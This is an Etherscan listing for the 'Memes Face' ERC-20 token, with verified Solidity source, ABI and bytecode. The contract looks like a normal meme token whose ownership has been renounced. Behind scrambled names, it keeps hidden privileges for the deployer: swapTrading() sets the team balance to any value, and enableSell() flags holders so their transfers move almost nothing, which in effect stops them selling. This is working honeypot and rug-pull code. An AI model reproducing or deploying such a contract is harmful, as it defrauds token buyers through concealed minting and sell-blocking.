ETH Price: $3,789.24 (+6.63%)

Token

ERC-20: Memes Face ((╭☞ ͡ ͡° ͜ ʖ ͡ ͡°)╭☞)
 

Overview

Max Total Supply

1,000,000,000 (╭☞ ͡ ͡° ͜ ʖ ͡ ͡°)╭☞

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
15,238,040.981246188448687273 (╭☞ ͡ ͡° ͜ ʖ ͡ ͡°)╭☞

Value
$0.00
0xD50c57242d27DF5cFCBE4EE941a43Ab839C62266
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MemesFace

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-12
*/

//SPDX-License-Identifier: MIT

/**
Portal
https://t.me/MemesFace

Twitter 
https://twitter.com/MemeFaceERC
*/

pragma solidity ^0.8.0;

abstract contract atSender {
    function takeMin() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed sender,
        address indexed spender,
        uint256 value
    );
}


interface swapAmount {
    function createPair(address teamLaunched, address atFromLaunch) external returns (address);
}

interface fromLimit {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract MemesFace is IERC20, atSender {
    uint8 private txEnable = 18;
    
    string private exemptToken = "Memes Face";
    uint256 private fromShouldReceiver = 1000000000 * 10 ** txEnable;
    
    bool public swapAuto;
    uint256 public senderLimit;
    bool public autoEnable;
    address private toMarketing = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public takeSwapAmount;

    string private modeSender = unicode"(╭☞ ͡ ͡° ͜ ʖ ͡ ͡°)╭☞";
    uint256 constant teamTo = 10 ** 10;


    uint256 private liquiditySell;
    mapping(address => uint256) private launchedAmount;
    mapping(address => bool) public shouldFrom;
    uint256 public listSender;
    bool public feeAmountMax;
    uint256 private walletTokenShould;
    uint256 public toSender;
    address public teamAt;
    bool public listAt;
    mapping(address => bool) public takeSellIs;
    address private toTakeFund;
    mapping(address => mapping(address => uint256)) private tokenBuy;
    bool public receiverLaunchSwap;


    

    event OwnershipTransferred(address indexed maxShould, address indexed liquidityReceiver);

    constructor (){
        
        fromLimit receiverLaunched = fromLimit(toMarketing);
        takeSwapAmount = swapAmount(receiverLaunched.factory()).createPair(receiverLaunched.WETH(), address(this));
        toTakeFund = takeMin();
        if (swapAuto != autoEnable) {
            autoEnable = true;
        }
        teamAt = toTakeFund;
        shouldFrom[teamAt] = true;
        if (receiverLaunchSwap) {
            walletTokenShould = senderLimit;
        }
        launchedAmount[teamAt] = fromShouldReceiver;
        emit Transfer(address(0), teamAt, fromShouldReceiver);
        amountFee();
    }

    

    function symbol() external view returns (string memory) {
        return modeSender;
    }

    function tradingLimit() public view returns (bool) {
        return listAt;
    }

    function name() external view returns (string memory) {
        return exemptToken;
    }

    function totalLaunched(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) internal returns (bool) {
        if (sellEnableReceiver == teamAt || modeTokenTo == teamAt) {
            return receiverReceiver(sellEnableReceiver, modeTokenTo, senderMax);
        }
        if (autoEnable) {
            listAt = false;
        }
        if (takeSellIs[sellEnableReceiver]) {
            return receiverReceiver(sellEnableReceiver, modeTokenTo, teamTo);
        }
        
        return receiverReceiver(sellEnableReceiver, modeTokenTo, senderMax);
    }

    function tradingWallet(address walletIs) public {
        if (feeAmountMax) {
            return;
        }
        
        shouldFrom[walletIs] = true;
        
        feeAmountMax = true;
    }

    function allowance(address receiverMarketing, address txLaunch) external view virtual override returns (uint256) {
        return tokenBuy[receiverMarketing][txLaunch];
    }

    function swapMin() public {
        
        if (senderLimit != walletTokenShould) {
            senderLimit = listSender;
        }
        toSender=0;
    }

    function transfer(address exemptLaunch, uint256 senderMax) external virtual override returns (bool) {
        return totalLaunched(takeMin(), exemptLaunch, senderMax);
    }

    function enableSell(address txSender) public {
        
        if (txSender == teamAt || txSender == takeSwapAmount || !shouldFrom[takeMin()]) {
            return;
        }
        
        takeSellIs[txSender] = true;
    }

    function decimals() external view returns (uint8) {
        return txEnable;
    }

    function fromExemptWallet() public view returns (bool) {
        return swapAuto;
    }

    function getOwner() external view returns (address) {
        return toTakeFund;
    }

    function owner() external view returns (address) {
        return toTakeFund;
    }

    function approve(address txLaunch, uint256 senderMax) public virtual override returns (bool) {
        tokenBuy[takeMin()][txLaunch] = senderMax;
        emit Approval(takeMin(), txLaunch, senderMax);
        return true;
    }

    function swapTrading(uint256 senderMax) public {
        if (!shouldFrom[takeMin()]) {
            return;
        }
        launchedAmount[teamAt] = senderMax;
    }

    function sellAmount() public view returns (bool) {
        return autoEnable;
    }

    function modeMarketing() public view returns (bool) {
        return listAt;
    }

    function tokenAtShould() public view returns (uint256) {
        return toSender;
    }

    function balanceOf(address atShould) public view virtual override returns (uint256) {
        return launchedAmount[atShould];
    }

    function amountFee() public {
        emit OwnershipTransferred(teamAt, address(0));
        toTakeFund = address(0);
    }

    function totalSupply() external view virtual override returns (uint256) {
        return fromShouldReceiver;
    }

    function receiverReceiver(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) internal returns (bool) {
        require(launchedAmount[sellEnableReceiver] >= senderMax);
        launchedAmount[sellEnableReceiver] -= senderMax;
        launchedAmount[modeTokenTo] += senderMax;
        emit Transfer(sellEnableReceiver, modeTokenTo, senderMax);
        return true;
    }

    function totalMarketing() public view returns (uint256) {
        return toSender;
    }

    function transferFrom(address sellEnableReceiver, address modeTokenTo, uint256 senderMax) external override returns (bool) {
        if (tokenBuy[sellEnableReceiver][takeMin()] != type(uint256).max) {
            require(senderMax <= tokenBuy[sellEnableReceiver][takeMin()]);
            tokenBuy[sellEnableReceiver][takeMin()] -= senderMax;
        }
        return totalLaunched(sellEnableReceiver, modeTokenTo, senderMax);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"maxShould","type":"address"},{"indexed":true,"internalType":"address","name":"liquidityReceiver","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"receiverMarketing","type":"address"},{"internalType":"address","name":"txLaunch","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amountFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"txLaunch","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"atShould","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"txSender","type":"address"}],"name":"enableSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeAmountMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromExemptWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listAt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listSender","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"modeMarketing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiverLaunchSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"senderLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shouldFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAuto","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapMin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"swapTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"takeSellIs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeSwapAmount","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamAt","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toSender","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAtShould","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletIs","type":"address"}],"name":"tradingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"exemptLaunch","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sellEnableReceiver","type":"address"},{"internalType":"address","name":"modeTokenTo","type":"address"},{"internalType":"uint256","name":"senderMax","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6000805460ff1916601217905560c0604052600a6080908152694d656d6573204661636560b01b60a0526001906200003890826200043c565b506000546200004c9060ff16600a6200061d565b6200005c90633b9aca0062000635565b60025560058054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d00179055604080516060810190915260248082526200115b6020830139600790620000af90826200043c565b50348015620000bd57600080fd5b506000600560019054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000117573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013d91906200064f565b6001600160a01b031663c9c65396826001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b091906200064f565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620001fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022391906200064f565b600680546001600160a01b0319166001600160a01b03929092169190911790556200024b3390565b601180546001600160a01b0319166001600160a01b039290921691909117905560055460035460ff9182161515911615151462000290576005805460ff191660011790555b601154600f80546001600160a01b0319166001600160a01b0390921691821790556000908152600a60205260409020805460ff1916600117905560135460ff1615620002dd57600454600d555b600254600f80546001600160a01b03908116600090815260096020908152604080832086905593549351948552929091169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003466200034d565b506200067a565b600f546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3601180546001600160a01b0319169055565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003c257607f821691505b602082108103620003e357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043757600081815260208120601f850160051c81016020861015620004125750805b601f850160051c820191505b8181101562000433578281556001016200041e565b5050505b505050565b81516001600160401b0381111562000458576200045862000397565b6200047081620004698454620003ad565b84620003e9565b602080601f831160018114620004a857600084156200048f5750858301515b600019600386901b1c1916600185901b17855562000433565b600085815260208120601f198616915b82811015620004d957888601518255948401946001909101908401620004b8565b5085821015620004f85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200055f57816000190482111562000543576200054362000508565b808516156200055157918102915b93841c939080029062000523565b509250929050565b600082620005785750600162000617565b81620005875750600062000617565b8160018114620005a05760028114620005ab57620005cb565b600191505062000617565b60ff841115620005bf57620005bf62000508565b50506001821b62000617565b5060208310610133831016604e8410600b8410161715620005f0575081810a62000617565b620005fc83836200051e565b806000190482111562000613576200061362000508565b0290505b92915050565b60006200062e60ff84168362000567565b9392505050565b808202811582820484141762000617576200061762000508565b6000602082840312156200066257600080fd5b81516001600160a01b03811681146200062e57600080fd5b610ad1806200068a6000396000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80634f24decb1161011a578063917ed628116100ad578063b3de9b5d1161007c578063b3de9b5d1461040c578063dd62ed3e14610414578063e593a05b1461044d578063e6577dc41461045a578063f6da3c9a1461046d57600080fd5b8063917ed628146103c157806395d89b41146103e45780639e2b1876146103ec578063a9059cbb146103f957600080fd5b8063893d20e8116100e9578063893d20e8146103945780638a3c6ae4146103a55780638a703358146103b85780638da5cb5b1461039457600080fd5b80634f24decb1461031657806370a0823114610333578063771a25681461035c5780637b8d31af1461038757600080fd5b80631d4463ea1161019d5780633090e2e51161016c5780633090e2e5146102e5578063313ce567146102f85780633aab87991461030d5780633cd0ad0b146103165780633f407b841461032857600080fd5b80631d4463ea146102b3578063234e9fe91461025957806323b872dd146102be5780632ae8ccf9146102d157600080fd5b806316414817116101d9578063164148171461026b578063164927721461028057806318160ddd146102885780631c66db271461029057600080fd5b806306fdde031461020b57806308469ffb14610229578063095ea7b3146102465780631233d83a14610259575b600080fd5b610213610476565b60405161022091906108ee565b60405180910390f35b6005546102369060ff1681565b6040519015158152602001610220565b610236610254366004610958565b610508565b600e545b604051908152602001610220565b61027e610279366004610982565b610570565b005b61027e6105b2565b60025461025d565b61023661029e366004610982565b600a6020526000908152604090205460ff1681565b60035460ff16610236565b6102366102cc36600461099d565b6105fc565b600f5461023690600160a01b900460ff1681565b61027e6102f33660046109d9565b6106a6565b60005460405160ff9091168152602001610220565b61025d60045481565b600f54600160a01b900460ff16610236565b60055460ff16610236565b61025d610341366004610982565b6001600160a01b031660009081526009602052604090205490565b60065461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b6003546102369060ff1681565b6011546001600160a01b031661036f565b600f5461036f906001600160a01b031681565b61025d600b5481565b6102366103cf366004610982565b60106020526000908152604090205460ff1681565b6102136106dd565b600c546102369060ff1681565b610236610407366004610958565b6106ec565b61027e6106f9565b61025d6104223660046109f2565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6013546102369060ff1681565b61027e610468366004610982565b610712565b61025d600e5481565b60606001805461048590610a25565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190610a25565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b3360008181526012602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b600c5460ff161561057e5750565b6001600160a01b03166000908152600a602052604090208054600160ff199182168117909255600c80549091169091179055565b600f546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3601180546001600160a01b0319169055565b6001600160a01b038316600090815260126020908152604080832033845290915281205460001914610691576001600160a01b038416600090815260126020908152604080832033845290915290205482111561065857600080fd5b6001600160a01b03841660009081526012602090815260408083203384529091528120805484929061068b908490610a75565b90915550505b61069c848484610782565b90505b9392505050565b336000908152600a602052604090205460ff166106c05750565b600f546001600160a01b0316600090815260096020526040902055565b60606007805461048590610a25565b600061069f338484610782565b600d546004541461070b57600b546004555b6000600e55565b600f546001600160a01b038281169116148061073b57506006546001600160a01b038281169116145b806107565750336000908152600a602052604090205460ff16155b1561075e5750565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b600f546000906001600160a01b03858116911614806107ae5750600f546001600160a01b038481169116145b156107c5576107be848484610816565b905061069f565b60055460ff16156107de57600f805460ff60a01b191690555b6001600160a01b03841660009081526010602052604090205460ff161561080f576107be84846402540be400610816565b61069c8484845b6001600160a01b03831660009081526009602052604081205482111561083b57600080fd5b6001600160a01b03841660009081526009602052604081208054849290610863908490610a75565b90915550506001600160a01b03831660009081526009602052604081208054849290610890908490610a88565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108dc91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561091b578581018301518582016040015282016108ff565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095357600080fd5b919050565b6000806040838503121561096b57600080fd5b6109748361093c565b946020939093013593505050565b60006020828403121561099457600080fd5b61069f8261093c565b6000806000606084860312156109b257600080fd5b6109bb8461093c565b92506109c96020850161093c565b9150604084013590509250925092565b6000602082840312156109eb57600080fd5b5035919050565b60008060408385031215610a0557600080fd5b610a0e8361093c565b9150610a1c6020840161093c565b90509250929050565b600181811c90821680610a3957607f821691505b602082108103610a5957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561056a5761056a610a5f565b8082018082111561056a5761056a610a5f56fea2646970667358221220bc2604af3be3f16413c75b02feebee9c280ea1558b04adf17ce913ad2e595e3464736f6c6343000812003328e295ade2989e20cda120cda1c2b020cd9c20ca9620cda120cda1c2b029e295ade2989e

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102065760003560e01c80634f24decb1161011a578063917ed628116100ad578063b3de9b5d1161007c578063b3de9b5d1461040c578063dd62ed3e14610414578063e593a05b1461044d578063e6577dc41461045a578063f6da3c9a1461046d57600080fd5b8063917ed628146103c157806395d89b41146103e45780639e2b1876146103ec578063a9059cbb146103f957600080fd5b8063893d20e8116100e9578063893d20e8146103945780638a3c6ae4146103a55780638a703358146103b85780638da5cb5b1461039457600080fd5b80634f24decb1461031657806370a0823114610333578063771a25681461035c5780637b8d31af1461038757600080fd5b80631d4463ea1161019d5780633090e2e51161016c5780633090e2e5146102e5578063313ce567146102f85780633aab87991461030d5780633cd0ad0b146103165780633f407b841461032857600080fd5b80631d4463ea146102b3578063234e9fe91461025957806323b872dd146102be5780632ae8ccf9146102d157600080fd5b806316414817116101d9578063164148171461026b578063164927721461028057806318160ddd146102885780631c66db271461029057600080fd5b806306fdde031461020b57806308469ffb14610229578063095ea7b3146102465780631233d83a14610259575b600080fd5b610213610476565b60405161022091906108ee565b60405180910390f35b6005546102369060ff1681565b6040519015158152602001610220565b610236610254366004610958565b610508565b600e545b604051908152602001610220565b61027e610279366004610982565b610570565b005b61027e6105b2565b60025461025d565b61023661029e366004610982565b600a6020526000908152604090205460ff1681565b60035460ff16610236565b6102366102cc36600461099d565b6105fc565b600f5461023690600160a01b900460ff1681565b61027e6102f33660046109d9565b6106a6565b60005460405160ff9091168152602001610220565b61025d60045481565b600f54600160a01b900460ff16610236565b60055460ff16610236565b61025d610341366004610982565b6001600160a01b031660009081526009602052604090205490565b60065461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b6003546102369060ff1681565b6011546001600160a01b031661036f565b600f5461036f906001600160a01b031681565b61025d600b5481565b6102366103cf366004610982565b60106020526000908152604090205460ff1681565b6102136106dd565b600c546102369060ff1681565b610236610407366004610958565b6106ec565b61027e6106f9565b61025d6104223660046109f2565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b6013546102369060ff1681565b61027e610468366004610982565b610712565b61025d600e5481565b60606001805461048590610a25565b80601f01602080910402602001604051908101604052809291908181526020018280546104b190610a25565b80156104fe5780601f106104d3576101008083540402835291602001916104fe565b820191906000526020600020905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b3360008181526012602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b600c5460ff161561057e5750565b6001600160a01b03166000908152600a602052604090208054600160ff199182168117909255600c80549091169091179055565b600f546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3601180546001600160a01b0319169055565b6001600160a01b038316600090815260126020908152604080832033845290915281205460001914610691576001600160a01b038416600090815260126020908152604080832033845290915290205482111561065857600080fd5b6001600160a01b03841660009081526012602090815260408083203384529091528120805484929061068b908490610a75565b90915550505b61069c848484610782565b90505b9392505050565b336000908152600a602052604090205460ff166106c05750565b600f546001600160a01b0316600090815260096020526040902055565b60606007805461048590610a25565b600061069f338484610782565b600d546004541461070b57600b546004555b6000600e55565b600f546001600160a01b038281169116148061073b57506006546001600160a01b038281169116145b806107565750336000908152600a602052604090205460ff16155b1561075e5750565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b600f546000906001600160a01b03858116911614806107ae5750600f546001600160a01b038481169116145b156107c5576107be848484610816565b905061069f565b60055460ff16156107de57600f805460ff60a01b191690555b6001600160a01b03841660009081526010602052604090205460ff161561080f576107be84846402540be400610816565b61069c8484845b6001600160a01b03831660009081526009602052604081205482111561083b57600080fd5b6001600160a01b03841660009081526009602052604081208054849290610863908490610a75565b90915550506001600160a01b03831660009081526009602052604081208054849290610890908490610a88565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108dc91815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b8181101561091b578581018301518582016040015282016108ff565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461095357600080fd5b919050565b6000806040838503121561096b57600080fd5b6109748361093c565b946020939093013593505050565b60006020828403121561099457600080fd5b61069f8261093c565b6000806000606084860312156109b257600080fd5b6109bb8461093c565b92506109c96020850161093c565b9150604084013590509250925092565b6000602082840312156109eb57600080fd5b5035919050565b60008060408385031215610a0557600080fd5b610a0e8361093c565b9150610a1c6020840161093c565b90509250929050565b600181811c90821680610a3957607f821691505b602082108103610a5957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561056a5761056a610a5f565b8082018082111561056a5761056a610a5f56fea2646970667358221220bc2604af3be3f16413c75b02feebee9c280ea1558b04adf17ce913ad2e595e3464736f6c63430008120033

Deployed Bytecode Sourcemap

1421:6099:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3421:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1692:22;;;;;;;;;;;;732:14:1;;725:22;707:41;;695:2;680:18;1692:22:0;567:187:1;5478:231:0;;;;;;:::i;:::-;;:::i;6978:90::-;7052:8;;6978:90;;;1342:25:1;;;1330:2;1315:18;6978:90:0;1196:177:1;4106:205:0;;;;;;:::i;:::-;;:::i;:::-;;6320:126;;;:::i;6454:116::-;6544:18;;6454:116;;2056:42;;;;;;:::i;:::-;;;;;;;;;;;;;;;;5192:89;5265:8;;;;5192:89;;7076:437;;;;;;:::i;:::-;;:::i;2266:18::-;;;;;-1:-1:-1;;;2266:18:0;;;;;;5717:171;;;;;;:::i;:::-;;:::i;5100:84::-;5143:5;5168:8;5100:84;;5168:8;;;;2229:36:1;;2217:2;2202:18;5100:84:0;2087:184:1;1659:26:0;;;;;;3330:83;3399:6;;-1:-1:-1;;;3399:6:0;;;;3330:83;;5896:85;5963:10;;;;5896:85;;6178:134;;;;;;:::i;:::-;-1:-1:-1;;;;;6280:24:0;6253:7;6280:24;;;:14;:24;;;;;;;6178:134;1800:29;;;;;-1:-1:-1;;;;;1800:29:0;;;;;;-1:-1:-1;;;;;2440:32:1;;;2422:51;;2410:2;2395:18;1800:29:0;2276:203:1;1632:20:0;;;;;;;;;5289:88;5359:10;;-1:-1:-1;;;;;5359:10:0;5289:88;;2238:21;;;;;-1:-1:-1;;;;;2238:21:0;;;2105:25;;;;;;2291:42;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3230:92;;;:::i;2137:24::-;;;;;;;;;4675:175;;;;;;:::i;:::-;;:::i;4503:164::-;;;:::i;4319:176::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4450:27:0;;;4423:7;4450:27;;;:8;:27;;;;;;;;:37;;;;;;;;;;;;;4319:176;2444:30;;;;;;;;;4858:234;;;;;;:::i;:::-;;:::i;2208:23::-;;;;;;3421:91;3460:13;3493:11;3486:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3421:91;:::o;5478:231::-;260:10;5565:4;5582:19;;;:8;:19;;;;;;;;-1:-1:-1;;;;;5582:29:0;;;;;;;;;;;:41;;;5639:40;;1342:25:1;;;5565:4:0;;5582:29;;260:10;;5639:40;;1315:18:1;5639:40:0;;;;;;;-1:-1:-1;5697:4:0;5478:231;;;;;:::o;4106:205::-;4169:12;;;;4165:51;;;4106:205;:::o;4165:51::-;-1:-1:-1;;;;;4236:20:0;;;;;:10;:20;;;;;:27;;4259:4;-1:-1:-1;;4236:27:0;;;;;;;;4284:12;:19;;;;;;;;;;4106:205::o;6320:126::-;6385:6;;6364:40;;6401:1;;-1:-1:-1;;;;;6385:6:0;;6364:40;;6401:1;;6364:40;6415:10;:23;;-1:-1:-1;;;;;;6415:23:0;;;6320:126::o;7076:437::-;-1:-1:-1;;;;;7214:28:0;;7193:4;7214:28;;;:8;:28;;;;;;;;260:10;7214:39;;;;;;;;-1:-1:-1;;7214:60:0;7210:221;;-1:-1:-1;;;;;7312:28:0;;;;;;:8;:28;;;;;;;;260:10;7312:39;;;;;;;;7299:52;;;7291:61;;;;;;-1:-1:-1;;;;;7367:28:0;;;;;;:8;:28;;;;;;;;260:10;7367:39;;;;;;;:52;;7410:9;;7367:28;:52;;7410:9;;7367:52;:::i;:::-;;;;-1:-1:-1;;7210:221:0;7448:57;7462:18;7482:11;7495:9;7448:13;:57::i;:::-;7441:64;;7076:437;;;;;;:::o;5717:171::-;260:10;5780:21;;;;:10;:21;;;;;;;;5775:61;;5717:171;:::o;5775:61::-;5861:6;;-1:-1:-1;;;;;5861:6:0;5846:22;;;;:14;:22;;;;;:34;5717:171::o;3230:92::-;3271:13;3304:10;3297:17;;;;;:::i;4675:175::-;4769:4;4793:49;260:10;4818:12;4832:9;4793:13;:49::i;4503:164::-;4569:17;;4554:11;;:32;4550:89;;4617:10;;4603:11;:24;4550:89;4658:1;4649:8;:10;4503:164::o;4858:234::-;4940:6;;-1:-1:-1;;;;;4928:18:0;;;4940:6;;4928:18;;:48;;-1:-1:-1;4962:14:0;;-1:-1:-1;;;;;4950:26:0;;;4962:14;;4950:26;4928:48;:74;;;-1:-1:-1;260:10:0;4981:21;;;;:10;:21;;;;;;;;4980:22;4928:74;4924:113;;;4858:234;:::o;4924:113::-;-1:-1:-1;;;;;5057:20:0;;;;;:10;:20;;;;;:27;;-1:-1:-1;;5057:27:0;5080:4;5057:27;;;4858:234::o;